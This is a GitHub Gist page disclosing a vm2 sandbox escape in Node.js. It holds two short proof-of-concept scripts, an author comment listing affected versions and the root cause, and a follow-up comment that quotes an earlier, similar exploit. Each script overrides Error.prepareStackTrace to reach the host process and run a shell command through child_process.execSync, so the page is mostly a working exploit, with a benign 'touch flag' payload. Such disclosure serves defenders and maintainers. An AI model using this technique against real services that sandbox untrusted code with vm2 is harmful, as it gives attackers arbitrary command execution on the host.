-
-
Save seongil-wi/2a44e082001b959bfe304b62121fb76d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const {VM} = require("vm2"); | |
let vmInstance = new VM(); | |
const code = ` | |
Error.prepareStackTrace = (e, frames) => { | |
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); | |
}; | |
(async ()=>{}).constructor('return process')() | |
` | |
vmInstance.run(code); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const {VM} = require("vm2"); | |
let vmInstance = new VM(); | |
const code = ` | |
Error.prepareStackTrace = (e, frames) => { | |
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); | |
}; | |
async function aa(){ | |
eval("1=1") | |
} | |
aa() | |
` | |
vmInstance.run(code); |
Author
seongil-wi
commented
Apr 6, 2023
- Expected result: We can escape vm2 and execute arbitrary shellcode. In our PoC, a file called `flag' is written through the vulnerability.
- vm2 version: 3.9.14 (latest version)
- Node version: 18.15.0, 19.8.1, 17.9.1, ...
- Root cause: It seems that vm2 is not properly handling errors that occur in async functions.
@seongil-wi Did you looked at the earlier issues reported by oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??
In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:
`globalThis.Error.prepareStackTrace = function(err, traces) {
traces[0].getThis().process.mainModule.require('child_process')
// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the
method here is getThis().
}`
I am curious about and trying to understand how this was fixed earlier. If the fix is happening in sort of blacklisting the different kinds of error or exception an attacker can raise?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment